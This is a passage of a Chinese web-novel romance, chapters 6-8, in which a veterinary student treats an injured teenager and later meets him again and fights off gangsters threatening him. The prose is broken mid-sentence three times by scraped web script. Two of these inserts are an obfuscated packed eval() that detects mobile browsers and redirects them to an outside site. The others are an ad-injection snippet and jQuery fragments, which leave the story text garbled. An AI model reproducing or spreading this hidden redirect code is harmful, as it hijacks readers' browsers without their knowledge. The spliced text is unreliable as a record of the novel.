“这我单位门口。”晏关山当他是个地痞小流氓,黑着脸说,“是宠物医院。”
“所以?”闻影吊儿郎当地扬起眉。
“要走也是你走。”晏关山居高临下地看着他。
“老子偏要睡这儿。”闻影浑身疼得就嘴还能动了。
晏关山没心思跟流氓逞口舌之快,但不能真把人撂这儿,他再次拿手机要打 120,鞋子被人碰了下。
“别报警。”闻影皱着眉,用脚尖点点对方的鞋。
晏关山无语得很:“我叫救护车。”
“至于么!”闻影随意抬抬手,“去医院麻烦死了。”
“麻烦总好过你死在这。”晏关山严肃地说。
闻影疼得呼出一口气:“死这儿拉倒。”
这句自暴自弃的话扔在吊儿郎当躺地上的闻影身上,像极了晏关山捡过的一条流浪狗,都被压断腿了,晏关山想靠近检查伤势,那狗子还龇牙咧嘴地吼,边吼边疼得抽气。
狗子或许是出于恐惧和不信任才唬人,面前这男孩儿心思就简单得多,他不想给晏关山惹麻烦。
没见过都这副模样了还犟的人,晏关山找了句话呛回去:“你死这儿明天医院还怎么营业?”
“死不了。”闻影笑得很痞,觉得头痛,顺手捂了下后脖子,摸到一手热乎乎的血,他惊讶道,“脑浆都砸出来了,这下真得死你单位门口了。”
晏关山不经逗,看见脑后出血下意识是先救人,说什么也要打 120,闻影忍着剧痛扯着晏关山的裤脚威胁他。
“你报警我会进局子,害我坐牢以后绝不放过你。”闻影张口就来。
晏关山不怕他威胁,单纯看他年纪还小,坐牢不至于,恐怕被家长知道,学校处分之类的,答应不报警。晏关山说:“可是你血流那么多,不去医院不行。”
闻影心里有数,打架时伤重不重他知道,去医院太麻烦,他仰着头巴巴看着晏关山说:“你不就是医生吗?”
晏关山生硬道:“我是兽医。”
“有什么区别,不都是救死扶伤?”闻影仰靠在玻璃上,两条长腿伸着,有气无力地笑,“反正我也把你吵醒了,要不你就顺手救救我呗,兽医哥哥?”
6.第 6 章
晏关山犹豫了几秒。这几秒里还是想起了那条狗,当时龇了牙见晏关山没有下一步动作,狗子又呜咽起来,带着一种祈求,若有似无的让人觉得有点可怜。
就跟闻影一个样。
于是晏关山说:“你先跟我进来吧,起得来么?”
闻影动了动腿,双手努力撑着地想起来,微微喘着说:“够呛。”
晏关山朝他伸出手,闻影自己觉得有点狼狈,刚才还怒气冲冲怼人家,现在人家愿意帮他,反倒有点过意不去,他快速在自己裤子上把手擦干净,才握住晏关山。
“谢了。”站起来后闻影小声道,晏关山没吭声,转身进了医院。
闻影踉踉跄跄地跟进去,晏关山开了一间诊室的灯,指着凳子说:“你坐这儿等会儿。”
“好。”闻影折腾不动了,叫干嘛就干嘛。
他像个木头一样杵在诊室一角,闻着浓浓的消毒水味儿,看晏关山忙来忙去。检查床上重新铺了一次性中单,晏关山拿了许多消毒要用的东西,用品都是新的,放在一边。
“坐过来。”晏关山戴着口罩,声音闷闷的。
闻影听话地坐过去,驼着背,任由对方到处检查擦药,本来有些困的,冰凉的酒精擦过皮肤只轻轻一下也会打个激灵。
“要缝针吗?”闻影看不到伤口在哪里,问道。
晏关山的声音在后脑勺响起:“我只能给你做清创,缝针要去医院。”
“你给我缝呗。”闻影说。
好半天晏关山才出声,再次强调:“我是兽医。”
“一样的。”闻影瞥了一眼对门上贴着的手术室仨字儿,“小动物做手术不也要缝针,工具都有吧?”
动物医学虽说跟人类医学学的东西相似,药理和病理大差不大,但兽医给人治病,涉及社会规范和道德问题,晏关山觉得跟这毛头小子解释不着,冷冰冰道:“给你缝针,我犯法。”
“这么严重?”闻影好奇,“最多蹲几年呢?”
“七年往上。”晏关山说。
闻影笑道:“那人命关天也只能看着了?你们这也太死板了吧。”
“人命关天又另说。”晏关山手上动作没停,一会儿的功夫,已经扔了大半盘沾了血的棉花。
闻影喃喃道:“那意思我这还不严重,没到让你坐牢也得上手的程度。”
晏关山懒得理他。
闻影不怕冷场,自顾自感叹:“好事儿啊!”
晏关山站在闻影身后处理伤口用了很久的时间,闻影虽然看不见对方的动作,但能切身感觉得到这兽医小哥哥做事认真,伤处挺疼的,对方下手却很轻,偶尔疼得闻影倒吸凉气,晏关山动作就会一顿,给他缓几秒的时间。
就是不爱说话,问一句答一句,有时候还不答,搞得闻影试图用讲话分散注意力的举动失败了。
闻影不用去医院缝针了,虽然他后脑勺连着后脖子有许多伤口,伤口不深,长度也短,用不着去遭缝针的罪。晏关山细致地把所有可见的伤口都处理过,略深些的用纱布贴起来,至于脸上和四肢的擦伤,只是看上去严重,养养就能好。
闻影昏昏欲睡地点着头,晏关山把东西收走,回来摘了口罩说:“这几天别洗脸洗澡,吃清淡点,最好吃点消炎药预防感染。”
“就好了?”闻影问。
晏关山“嗯”了一声。
闻影掀起一半眼皮看过去,晏关山的白大褂里穿着一整套深灰色的睡衣,头发还是那个刚睡醒乱翘翘的摸样,刚没看仔细,这会儿白炽灯一照,闻影发觉对方又年轻又帅气,就是脸色不好,和医院气质一样冷冰冰的。
闻影不是太想动弹,使劲儿将方向扭正朝向对方:“多少钱?”
“不用。”晏关山双手插在白大褂兜里。
“哪能不收啊,你赶紧算算,这些七七八八用了的多少钱,我给。”闻影摸摸硬邦邦的检查床问,“我能睡这儿不,走不动了。”
晏关山皱了下眉:“不行。”
“就当开个单间给我,睡一宿。”闻影耷拉着脑袋,“救人救到底,送佛送到西嘛,兽医哥哥。”
晏关山冷硬拒绝:“这是医院,不是宾馆,睡不了人。”
“你不就睡这儿?”闻影看着他。
晏关山噎了下,显然没见过这么能缠人的病患。
闻影笑出声:“不逗你了,我走,你赶紧算钱,别明儿一算花销了的让你倒贴。”
晏关山松了口气:“真不用,你走吧。”
“那我得知道你叫什么。”闻影缓慢下了床,他身上疼站不住,揉着腰还笑着说,“今天谢谢你了,还没问你的名字。”
对面的英俊小哥淡淡道:“晏关山。”
闻影心想对方不收钱,那知道了名字改天还是得请他吃顿饭还了这个人情,大半夜敢把满头血的人往自己店里带,心肠怪好的咧。
不过他还是没走成,几道惊雷劈下,大雨瓢泼,整个城市都浸在雨水中,两个人站在门口看了一阵,大颗大颗的雨滴溅上台阶,不一会儿就洇起一小滩水渍。
闻影无奈地回头笑:“再借把伞呗。”一晚上要这要那临走还要伞,他也觉得有点不好意思了。
晏关山看向门外,大雨模糊了视线,凌晨四点本该静谧的街道在这雨声里甚至变得轰鸣热闹,他忽然说:“算了。”
“啊?没有没事,那我走了。”闻影说。
“呆这儿吧。”晏关山低声说,“雨太大。”
滂沱大雨,有伞也得全身湿透,这小子才处理过的伤口淋到就全白费了,况且他身上疼,走几步就得歇会儿,走回家确实有点艰难。晏关山把他带进所谓的“员工宿舍”,自己拎着拖把去门口拖地,关上大门。
这间宿舍特别小,撑死算个杂物间,闻影连坐处都没找到,小小一张床,床头柜上放着书和笔记本电脑,门后被拉杆箱抵着,墙上挂着几件衣裤。
晏关山进来时提着一张折叠椅,是同事午休用的简易小床,不能撑得太开,放这屋里几乎把能下脚的地方全挡了。
“这太挤了,随便找个诊室让我对付一宿得了。”闻影说。
“诊室冷。”晏关山从柜子里掏出唯一的一床毛巾被,加个靠枕放好,说,“就这睡吧。”
闻影不好意思地笑笑:“卫生间在哪,我身上太脏了,去洗洗。”
“你不能沾水。”晏关山提醒他。
“不洗澡不洗脸,我知道。”闻影指指自己裤子,“我刷个牙,高低把灰拍拍,你这不是同事的么,睡脏了不好交代。”
晏关山又给闻影找一次性的牙刷牙膏,洗脸就用湿巾擦了擦,闻影在卫生间里折腾半天,回房躺下时把被子一裹,露个头出来“嘿”了一声:“晏关山。”
晏关山闻声抬起头。
“你一直住在这儿?”闻影好奇地问。卫生间虽然小,但可以洗澡,东西也都全,加之这宿舍里的状况,闻影就这么猜的。他看晏关山没比自己大多少,这个年纪读高中读大学都有寝室住,挤在医院这么小小的一个地方有点奇怪。
“嗯。”晏关山应道。
床头开了一盏小灯,晏关山靠着在看书,瞌睡经过这么一折腾彻底没了,而且和一个陌生人共处一室睡觉,他极度不习惯,索性补补功课。
闻影侧躺在椅子上看了一阵,光打在晏关山的侧脸让他看上去没那么冷了,暖暖柔柔的光沾点困意,安静看书的晏关山有点顺眼。闻影懒洋洋地问他:“你在看什么书呀?”
晏关山垂着眼,只是把书立起来让闻影自己看,上面写着《动物生理生化》。
“你是大学生?”闻影眨巴着眼睛看过来,“玉大的?”
晏关山又“嗯”了声。
闻影:“那你怎么不住学生寝室啊?”
“不喜欢。”晏关山简短道。
“玉大可是名牌大学,听说寝室挺好的。”闻影道。
晏关山淡淡道:“不喜欢和别人住一屋。”
“那你还让我睡这儿。”闻影睁大眼睛,不知道寻思什么,半天憋出一句,“晏关山,你是个好人。”
晏关山实在是太无语了。一行字被打断 N
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938802|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次,反反复复都没读下来,闻影跟个话痨一样问东问西扯这扯那,自来熟得让人害怕,临了丢出这么一个朴实无华的评价,有点让人想笑。
晏关山放下书,脸上有一丝无奈。
闻影抿抿唇:“我吵到你了?快睡吧,我不说话了,你明天几点起床啊?”
说了不说话又抛出问题,晏关山关了灯,缩进被窝说:“六点半。”
“那没几个小时,睡睡睡。”闻影嘟哝着,“明天你中午和晚上有空不,我请你吃饭。”
晏关山眨了下眼:“我要上课。”
闻影:“上课上你的,下课吃啊。”
“下课要工作。”晏关山嫌麻烦,知道对方想还人情,他觉得没必要。
“干啥不都得吃饭呢么,不耽误你。”闻影声音已经开始迷糊,“等着我啊,我来接你。”
可能是“我来接你”这四个字触碰到晏关山敏感的神经了,彼时他孤零零地生活在狭小的宿舍里,不爱跟人打交道,也没有亲友,晏关山除了一条道走到黑的决心,身后空无一人,所以这句也许只是客套的场面话,让他反常地违背了习惯,没有说出拒绝的话。
晏关山还没答应下来,闻影气若游丝地又说:“几点下课,在哪个门啊?我去哪里找你好呢?要不还是来这儿吧,我衣服脏了,回去换套干净的咱再去吃饭好不好。”
眼睛逐渐适应了黑暗,晏关山看得见闻影的轮廓,头上包扎过的缘故,他侧躺着露了半个脑壳,试图把脸扭向晏关山这边,好跟他说话。
闻影迷迷瞪瞪问:“你想吃什么呢?”
静了片刻,晏关山主动问了今夜第一个问题:“你叫什么名字?”
“唔。”闻影快睡着了,思绪飘忽地答,“景三儿。”
“哪两个字?”晏关山问。
“三个字,是三个字。”闻影强调,“景色的景,三哥的三,叫景三儿,儿化音不能少,不然……就没有灵魂了。”
晏关山心说这还是个中二少年,也不知道多大了。
“听见没呀?”没得到回复,闻影口齿不清地问,“记没记住我叫什么啊?”
“景三儿。”晏关山喊了他一次,轻声说,“快睡吧。”
十六岁的闻影,浑身是血地躺在晏关山面前,死乞白赖也好,没脸没皮也罢,晏关山终究还是不忍心见死不救,冲他伸出了手。
那是故事的开头。
而留在玻璃上的画,是后来闻影落荒而逃时,偷偷伤心又留下的印记,他当时想给晏关山留下点什么,恰好就在有故事的这面玻璃上画了一棵奇怪的树,当做故事的结尾。
画完他就从晏关山的世界里消失得一干二净了,带着很多遗憾和不甘心。
如今这玻璃上出现了一副印制上去的树,让闻影第一次看见的时候就想要个答案。
这树跟我有关吗?
这树跟我无关吧?
又想问,又怕知道答案。
闻影扪心自问,你想听到什么答案呢,就算对方是因你留下了一棵树,那曾经将你一拳打开的事实就不存在了吗?
从破旧的回忆里回过神,闻影自嘲地笑了笑,拿出手机发了条微信。
[景三]:在哪?
发完正好看见晏关山从里面诊室走出来,怀里抱着一只布偶猫,胳膊下面夹着病例本,他戴着口罩,那双眼睛好看是好看,依旧是冷冷淡淡的,看不出情绪起伏,晏关山把猫交到前台跟主人叮嘱了些什么,然后才拿手机回微信。
[Y]:值夜班,在医院。
[景三]:出来。
晏关山一顿,抬头就往外看,看见闻影吊儿郎当提个塑料袋站着,晏关山不自觉就弯了眉眼。
这一秒变脸瞬间被闻影看在眼里在,他想了半天像什么。
没错,那只穿靴子的猫。
平时眯着眼睛用鼻孔睨人,一副生人勿近的高冷,真给个机会装逼,立马睁个水当当的大眼睛卖萌。
闻影目视对方走出来,冷笑。
你丫就接着装,爷爷我早就百毒不侵了!
7.第 7 章
“衣服。”
闻影简短说明来意,把手里的塑料袋直接扔过去,单手插兜,一脸“我跟你没有多余的话可讲”的冷酷表情。
晏关山接住,眨眨眼:“兼职这么快就做完了?”
“我按小时收费,久了他们付不起。”闻影面无表情道。
晏关山“喔”了声:“那一起吃个宵夜吧,当男模挺累的,正好补补。”
“补你……”闻影没空在这扯闲篇,“老子身体好得很,用不着补。”
“等你手彻底好了再说。”晏关山揶揄完温和地笑,“我饿了,晚饭没吃上,忙着去玉大送猫,反正你来都来了,不然我付时薪,你陪我吃个宵夜不吃亏的。”
闻影挑眉:“你穷成这样,还想点男模,没病吧你?”
晏关山干脆顺着他说:“一个小时还是付得起的,行吗?”
“不行。”闻影说。
晏关山川剧变脸式耷拉眉眼:“守你一夜还挨了院长一通训,陪我吃个宵夜都不可以吗?”
闻影又仿佛见了鬼,愣了好半天没找到骂人的词。
“好,那就这么说定了。”晏关山快刀斩乱麻地替对方决定好,也不管闻影脸有多黑,笑眯眯地叮嘱,“等我五分钟,我进去拿衣服,顺便请个假。”
二十分钟后,闻影莫名其妙坐在了烧烤摊上。
实在没办法,晏关山跟个牛皮糖一样黏上来,再这么纠缠下去,闻影可能没办法按住火气朝他爆发,场面会很难堪。
他懒得问晏关山有什么目的,不如自己先声夺人将话挑明,也确实需要个好好说话的机会,所以他带着晏关山来了这家熟悉的烧烤摊。
晏关山随便找了个没人的空位就坐下:“你想吃点什么?”
“随便。”闻影懒散地窝在塑料凳里,一只腿拽兮兮地担在膝盖上。
晏关山就这么一屁股坐下了,以前带他吃路边摊和苍蝇馆,他起手式可啰嗦得不得了,要擦凳子擦桌子,坐下还要先烫杯碟碗筷,闻影跟他比是实打实的糙老爷们儿,那会儿不理解他,嫌他穷讲究麻烦。
闻影睨了一眼问:“洁癖治好了?”
晏关山愣了下:“托你的福,毛病都治好了。”
闻影翻了个白眼:“随便点,我请客,当那晚的……护工费。”
晏关山隔了快半个小时才回来,闻影手游被人血虐了一把,听见身旁动静,他低着头不耐烦地嘟哝:“是要点个满汉全席么去那么久,老子都……”
一杯热乎乎的奶茶放到闻影面前,他咽下了后半句话。
晏关山在他旁边坐下:“我记得你喜欢喝这个味道,没放糖,怕你晚上不好睡觉,奶多茶少。”
闻影巨爱喝奶茶,各种牌子的奶茶店喝了个遍,独独钟爱这一家,因为奶茶里不放奇奇怪怪的料,鲜奶和现煮茶汤搭配,口味单纯直接。
他渴了一晚上了,当然不会拒绝,拿起就喝了一大口,咬着吸管说:“我现在不喜欢这个味道了。”
“将就下咯。”晏关山好脾气地说,“你现在喜欢喝什么,下次我再买。”
还想下次,门都没有。
闻影:“附近没这家店,你上哪儿买的?”
晏关山淡淡道:“堕落街,走过去有点远,所以耽搁了会儿。”
每个大学附近都有一条集美食娱乐酒店网咖于一体的商业街,俗称堕落街,玉大的堕落街在南边,和这家烧烤摊是对角线。
闻影看了眼某人额上的薄汗,没吭声。
跛脚的老板娘端着一大盘烧烤过来,放下后盯着闻影看了又看,关切道:“好久没见你了,手怎么了啊?”
“没事儿,摔的。”闻影脸色缓和了些。
老板娘“啧啧”两声:“你这朋友点的都是你平时爱吃的,姨再给你俩盛碗排骨汤,喝了补补。”
闻影刚张嘴,老板娘指着他:“不许跟我客气,不然跟你急啊!”
“……谢谢徐姨。”闻影只好说。
两大个不锈钢盆上一串串滋油喷香的烤串,换作平时闻影早就撸袖子吃上了,但他现在不知道为什么,明明很饿,就是没胃口。
晏关山也不催他,兀自把串上的肉撸进碗里,放在闻影面前:“手不方便,你就这么吃吧。”
闻影没动,侧目看着晏关山,等他撸够满满一碗,闻影才舍得开口:“晏关山,你到底想干嘛?”
晏关山闻言一愣:“嗯?”
闻影用下巴指指饭碗:“你做这些,什么意思啊?”
晏关山扭过身子直视过来:“怎么了,是这些也不爱吃了吗?那你想吃什么,我重新点。”
“我想知道你葫芦里卖的什么药!”闻影放下腿,坐直了些,“那晚跌你单位门口,算我欠你一次人情,但是咱俩非亲非故的,犯不着这么拉拉扯扯没完没了吧?”
晏关山知道这样意味不明地接近,迟早要把闻影点着,放以前他或许不知道该怎么处理,现在不一样了。不能因为无措就逃避,晏关山首先明确了自己要什么,那之后的事都好办。
晏关山薄唇紧抿,认真听着:“你接着说。”
闻影一旦话匣子打开就关不住:“你记一个不相干的人的喜好,没球意思,做给我看我不会感动,只会厌烦。如果是因为当时那事儿你觉得自己做得不太地道,那OK我根本没放心上,用不着道歉,我早特么不在乎了,这么说你明白?”
没等晏关山有反应,闻影现学现卖:“明白就好,明白咱吃完这顿宵夜,结清楚帐,以后就桥归桥路归路各过各的,老子不敢再招惹你这尊大佛,拜托你见到我这个大麻烦也绕道走行不行,啊?”
晏关山听完只是低头叹了口气。
片刻后只有一句:“你不是不相干的人。”
闻影好不容易提着一股怨气把狠话说完,等来这么一句,彻底没脾气了。
晏关山沉声道:“六年不见,口味会变,人也会变。”
他一边说,手上动作没停,把筷子放在闻影手里,插了句:“再不吃凉了,边吃边说吧。”
闻影身心麻木,把嘴里的牛肉当晏关山咔哧咔哧嚼,一小会儿吃下去大半碗,晏关山马上又撸好一碗给他放着。晏关山做什么事都会让人觉得他很认真专注,哪怕他此时此刻只是在撸签签上的肉,闻影扫了一眼,偏开头去。
“我是想跟你道歉,可没有这样的机会。”晏关山温温和和,就像是刚才那些狠话他没听到,“我找过你,没找到。”
“得,既然要把话说开,那来。”闻影嗤笑,“心情好捡回去,玩腻了说扔就扔,没地儿招猫逗狗的又回头找,晏关山,你当老子是条狗啊?”
晏关山严肃道:“我捡回家的任何动物,从没往外扔过。”
闻影:“???”
你特么还真把我当狗?
晏关山强调:“不信你可以去我家看。”
什么叫牛头不对马嘴,闻影“腾”地站起来就想走,晏关山拉住他手腕,稍使了些力:“景三,我也想知道,那会儿你说的是不是都是真心的?”
听听这问的什么问题,还要多真心?老子恨不得把心挖出来给你。
可你要了吗?
闻影顿了顿,敷衍地甩了下手没甩开,手
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
腕被人握着都发烫了,他又坐下:“现在问这些有意思吗?”
晏关山重复:“我想知道。”
闻影偏开头,语气闷闷的:“我是喜欢你,也付出行动追了你大半年,当然是真心的。”
晏关山细不可查地弯了下嘴角,这人最可爱的地方就是坦荡,不管情绪和场面有多糟糕,只要他肯,心里话都能掏出来。
晏关山马上又变回可怜神色:“既然是真心的,怎么连个解释的机会都不给我?”
“你还想解释?”闻影好笑道,“都那样了,你解释个球啊,你的厌恶反感还不够直观么?”
晏关山叹气:“我没这么想过你,从来没有。”
“晏关山,我是喜欢过你。”闻影目视脚尖,声音很沉地说,“可过了就是过了,你刚也说了,六年时间,口味会变人也会变。”
晏关山只想问:“你到底跑哪儿去了?”
“跑哪儿跟你无关。”闻影冷冷道,“不跑难道赖着啊?我犯贱么?”
事儿是晏关山做的,他理亏,所以被闻影一句句怼回来确实没法辩解,他也不想辩解只想道歉,闻影有怨气太正常了,这些本该六年前就冲他发的,如果那时候晏关山及时把人追回来,哪怕挨他一顿打,都好过分别六年。
“晏关山。”闻影凉凉道,“不用纠结以前的事儿了,就说现在,我对你没那种心思,早没了,所以别再拉拉扯扯的,特没劲,我不想再跟你有什么关系。”
晏关山蹙起眉头:“连普通朋友都不能做?”
“不能。”闻影冷笑,“是你先让我滚的。”
晏关山噎住。
坦荡是坦荡,但是这小子很记仇。
天被聊死,闻影很快吃完那碗肉,又撸了几串,站起来道:“快点吃,吃完走了。”
晏关山一直看着他:“你去哪儿?”
“厕所。”闻影转身就走。
晏关山细嚼慢咽,不舍得吃太快结束这顿辛辛苦苦演来的宵夜,等闻影看不见人了,他才冷下脸,瞥了一眼稍远一桌的客人。
不知道是自己敏感还是对方做得太明显,晏关山总感觉有视线黏在他俩身上,鬼鬼祟祟的,这会看过去,是一帮痞里痞气的小混混,裂着嗓子喝酒吃肉,注意力并不在自己这桌。
闻影回来时端了个盘子,上面两碗排骨汤,他推出去一碗,冷酷命令:“喝。”
晏关山乖乖喝汤,熬了很久的莲藕排骨,藕在嘴里都化沙了,又甜又香。晏关山问:“老板娘对你很好,常来?”
闻影从喉咙里“嗯”了声。
“住在附近?”晏关山装作不经意地问,碗遮了一半脸,露着的双眼一直瞧着闻影。
闻影急着走,嘴里塞得很满,含糊道:“……帅哥的事你少打听。”
演一次就够费劲的,下回不知道还能编什么借口见面,晏关山想了想说:“景三儿,其实六年前我不是要拒绝……”
“你”字还没说出口,晏关山眼神一变,闻影正不耐烦地想问他挤什么牙膏,肩膀倏然被人压住。
二手烟夹杂着酒气窜进鼻腔,令人反胃,闻影几乎是本能反应伸手去打,可手被吊着,扯得一疼,再想换另一只手时,另一边肩膀也被人摁住了。
“哥们儿,串儿好吃吗?”一个吊儿郎当的混混在耳边说,“虎哥让带个好。”
“那天忘了说,特意在这等你,看你好胳膊好腿的,虎哥放心了该。”
“是兄弟几个下手没轻重,对不住啊。”混混掐着闻影的肩膀,嬉皮笑脸勾勾下巴道,“今儿给你留只手,我们就要……那条腿好了。”
8.第 8 章
几个混混一阵嬉笑,笑完作势要去碰闻影的伤手,闻影已经捏紧拳头准备反击,可还没等他动,耳边刮过一道风声,肩膀就轻了。
晏关山扯着混混的头发往后一拉,结结实实在肚子上怼了一拳,随手将人扔在地上。
“我操你妈!”地上的混混骂骂咧咧想爬爬不起来,捂着肚子扭来扭去。
闻影被晏关山这动静吓了一跳,他想说什么,但只来得及看清晏关山绷紧的下颚线,和不同以往因为生气而发红的眼睛。
那人同伙见状,伸手来扯晏关山的衣领:“你他妈谁……”
又是一拳,晏关山干脆利落地把摁着闻影肩膀的人揍开了,其他人赶紧散开,晏关山看样子还想对地上那人补一脚,被闻影眼疾手快地拉住:“晏关山,可以了!你特么想进局子吗?!”
晏关山没回头,也没再打人,他冷冷地瞪着第一个走过来的混混问:“虎哥是谁?”
混混一脸凶相地骂:“你他妈是谁?不想活了吗臭傻逼,你知道你惹了……”
“那晚上是你们堵的人?”晏关山打断对方,“虎哥指使的?”
混混甲:“你管得着吗?你丫到底谁啊!”
“跟他废什么话!”混混乙叫嚣,“是一伙的就打,废他一只手给个教训!”
“你敢!”闻影气势汹汹地站起来,那阵仗让地上那厮吓得往后缩了缩,他们没少跟闻影打交道,知道这人正面干仗属于不要命的。
但晏关山右手一抬把人拦在身后,老母鸡护崽的架势,闻影没他高,连视线都被挡得严严实实。
跛脚老板娘一手拿着电话一手拎着扫把就跑过来,嗓门很大地嚷嚷:“我的店谁敢打架,要打滚出去打,就你们几个,快滚!不然老娘报警啦!”
这把嗓子嚎过来不少人看热闹,真怕招来警察,几个混混赶紧爬起来,走之前指着晏关山放狠话:“你给我等着。”
闻影立刻吼回去:“等你妈!”
晏关山平静地用只有他们三人听得清的音量道:“我等着,再见到你,我要你那只手。”
闻影:“……?”
老板娘把围观的人哄散之后,紧张兮兮地过来问:“没事吧?要不姨还是报个警吧,留个出警记录,万一他们还来找麻烦,一举抓获重重判他妈的!”
闻影强行扯了个嘴角:“谢谢徐姨,给你添麻烦了,报警先不用,就几个小流氓我应付得来。”
老板娘不放心:“有事儿就说啊,咱家那口子年轻时候也是混的,谁也欺负不着你!”
人都走开了,闻影发现晏关山又坐了回去,微微低头,从后面看,露着大半脖颈,见他紧紧拳头又松开,闻影坐过去闷声问:“是不是扭着了?”
晏关山顿了顿决定“嗯”一声。
“我看看。”闻影把晏关山的手小心地捧着活动关节,问他:“这样疼吗?”
晏关山没说话。
“往这边扭疼吗?”闻影又试了试。
晏关山还是不言语。
闻影:“那刺痛或者发酸的感觉有没有?有没有发麻?”
依旧没得到回应,闻影终于忍无可忍:“你哑巴吗,盯着我看什么!问你话。”
晏关山享受够了,这才笑着道:“没受伤,只是第一次打人,有点爽。”
闻影:“……”
闻影看他握拳突起的骨节上有些微破皮发红,几口喝完奶茶,提起衣服,扯着晏关山起来,示意他跟着自己走。
没几步就有药店,闻影进去买了些东西,塞给晏关山:“自己回去擦。”
“我是医生。”晏关山打开袋子看了一眼,“这些我都有,你就要回去了吗?我送你。”
情绪平复,闻影愿意好好说话了,他单手插兜,低声问:“晏关山,刚那样打人会出事的,他们来了几个你没看见吗,要是围上来你落不着好,人是找我的又不冲你,逞的哪门子能啊,打赢坐牢打输住院知道不知道,啊?你告诉我你刚想什么!”
晏关山站直了些,像个挨训的小学生,撇着嘴答:“在想……要是打进医院,你应该会送我一程,可惜没打起来。”
你还可惜上了!闻影一拳头挥过来,朝着晏关山面前的空气一顿打,骂骂咧咧:“老子把你打进去算了!”
晏关山笑着指指旁边的凳子:“你不让我送,那在这坐会儿,聊聊?聊完就回家。”
闻影一声不吭地坐了过去,下意识伸手够药袋帮人处理伤口,反应过来僵了僵,又缩回手。
晏关山打开袋子说:“帮我擦擦药?”
“滚。”闻影轻嗤,“你再多说几句废话它就要愈合了,要擦自己擦。”
撒娇失败,晏关山忍着笑:“喔。”
刚才打人用了全力,晏关山也是一时没控制住,他听见对方要动景三的腿火气就顶到了脑门,那天景三被打得多惨还历历在目,他想想都后怕,当时恨不得把人全部打废。
这点小伤晏关山完全不在意,不处理都行,但既然有人给买药,那就郑重地擦一擦。擦完晏关山正色道:“他们是什么人,虎哥跟你有什么过节?”
这些问题本来在闻影刚清醒的时候就想问的,只不过那会儿两个人刚重逢,情绪不对头,晏关山忍到现在才说。
闻影白他一眼:“你用不着知道。”
“景三儿,那些人敢在暗巷玩阴的,还下这么重的手,就不是普通小混混。”晏关山担心道,“在你活动范围内蹲人说明还会有下次,你自己打架也跟不要命似的,医院去过一次了,我不想再去局子里捞你。”
“谁要你捞了?”闻影黑着脸说,“再说,要进局子我也拉上他们一起。”
晏关山沉默了一下问:“你和他们的矛盾,除了来来回回互殴,就没有其他解决途径吗?”
“没有。”闻影斩钉截铁道。
一阵沉默,晏关山只能憋出一句:“非得打,那你下次喊我,两个人好过你单打独斗。”
闻影听笑了:“晏关山,你不是个好学生吗?怎么现在还会找架打了,这是好事么你就往上凑?”
晏关山也笑:“总得有人管管你吧。”
闻影一怔,火速把心里面的异样压下去,他偏开头沉默,因为干坐着又不知道能聊什么,干脆把装衣服的塑料袋戳了几个洞。
戳着戳着突然想起什么,闻影皱着眉抬起头来:“你刚要说什么来着?”
晏关山“嗯”了一声:“我管你。”
闻影甩甩头:“不是这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984618|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
句!”
晏关山看着他:“什么时候说的?”
“打人那会儿。”闻影回忆了下,“……你说六年前什么?”
“哦。”晏关山装傻,“打个岔,忘记了。”
闻影:“……”
晏关山揶揄:“你不是不让我提以前么,所以一说出口就忘了。”
爱说不说,老子好奇不了一点!
闻影看了眼手机,站起来道:“走了,你回吧。”
“景三儿。”晏关山坐着没动,抱着那堆洗干净的衣服,眼巴巴地叫住他。
闻影最烦说话吞吞吐吐,说事挤牙膏,不耐烦道:“别老景三景三的喊,喊完又他妈不说话!”
晏关山喜欢看他炸毛的样子,他炸毛就像回到从前,晏关山问:“要是那帮混混来单位找我麻烦,可以给你打电话吗?”
提起这个闻影严肃起来:“手机拿来。”
晏关山递过去:“没密码。”
闻影解锁屏幕,瞬间怔住,晏关山看着对方被手机照亮的脸,神情呆呆的,他这才想起自己手机壁纸刚换了一张。
那张眯眼晒太阳的小橘很可爱,某人手指揪着胡须也可爱,但偷照片被当场抓获就不太可爱了。
晏关山面上难得有些不自在:“小橘也算是我的患者,那天看你朋友圈拍得很好,就……偷了。”
一张照片而已,偷就偷呗。
闻影冷酷地“嗯”了一声,很快打开通讯录一顿输入,丢给晏关山的时候摆摆手:“有事打给我,回了。”
说完插兜就走,只留给对方一个消瘦冷酷的背影。
就在刚才那一瞬,闻影差点就把自己真名打上去了,但最终没有。
他当初原本打算表白完不管成不成功,都向晏关山再重新介绍一下自己,虽说喜欢上一个人,重要的是人,不是他的名字、性别、家世等等,但两人相遇时一个玩笑接一个玩笑,才造成了晏关山把错误信息当成了真的。
可惜表白还没开始,两个人就都走了极端,错过了开诚布公的好时机,闻影自嘲一笑,现在这种情况,更没有跟对方坦白的必要。
还做朋友?什么狗屁朋友。
闻影始终委屈,一腔真心被人扔出家门,他最讨厌这种被人丢弃的感觉了。
他不会在一个坑里栽两回。
走到路口,闻影原地站住,左边是回家的路,右边通向堕落街,脚刚往左边迈出,想到什么又很快转身。
他一个人倒怎么都无所吊谓,那帮杂碎阴他几次,总要正面碰上,他不会让自己吃亏,但今天晏关山动了手,闻影不想他沾上这些阴沟里的蛆虫。
闻影径直去了堕落街。
